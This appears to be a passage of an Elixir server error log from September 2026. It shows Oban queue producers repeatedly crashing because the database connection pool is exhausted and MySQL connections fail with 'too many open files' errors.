    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:01:42.240927Z], limit: 20, uuid: "133ed0c9-c40f-4d82-b4a9-767b2bf86e4b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:42.240933Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.232496>, refresh_timer: #Reference<0.2525715032.1077411843.232449>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:53.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:01:42.240416Z], limit: 3, uuid: "32f6a8a2-52b9-4b15-8561-5991982f88e9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:42.240424Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.258843>, refresh_timer: #Reference<0.2525715032.1121189889.103567>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:53.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 885ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:01:42.240988Z], limit: 50, uuid: "5653af87-d2be-4cd4-9f04-740f8f562ef1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:42.240994Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.232499>, refresh_timer: #Reference<0.2525715032.1068236804.248625>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:53.657000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:56.561000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:57.071000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:58.778000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:01.010000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:05.243000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:01:53.241835Z], limit: 10, uuid: "9ad2a49a-1dba-41b5-8c42-283d788605b3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:53.241841Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.232695>, refresh_timer: #Reference<0.2525715032.1077411843.232694>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:05.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 800ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:01:53.242679Z], limit: 5, uuid: "e2639ea4-9d3c-43fe-97fc-73778af3aa43", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:53.242684Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.259122>, refresh_timer: #Reference<0.2525715032.1077411843.232720>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1084ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:01:53.241893Z], limit: 5, uuid: "445dc997-bfa1-4ddf-b603-bcd983b84bd0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:53.241897Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.259104>, refresh_timer: #Reference<0.2525715032.1099169794.259103>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:01:53.242353Z], limit: 20, uuid: "1f1b696c-4b10-403b-b897-69028dba3fde", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:53.242359Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.259121>, refresh_timer: #Reference<0.2525715032.1099169794.259108>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:05.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 802ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:01:53.246000Z], limit: 3, uuid: "518fc760-4222-40be-bf47-056e33aa46da", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:53.246010Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.259123>, refresh_timer: #Reference<0.2525715032.1068236804.248682>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:05.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 856ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:01:53.248221Z], limit: 50, uuid: "40cdb564-f3b0-4ba0-9a23-90ebfa89f9e9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:53.248227Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.259124>, refresh_timer: #Reference<0.2525715032.1121189889.103721>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:06.063000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:07.359000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:08.437000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:09.427000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:12.785000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:15.090000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:16.415000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
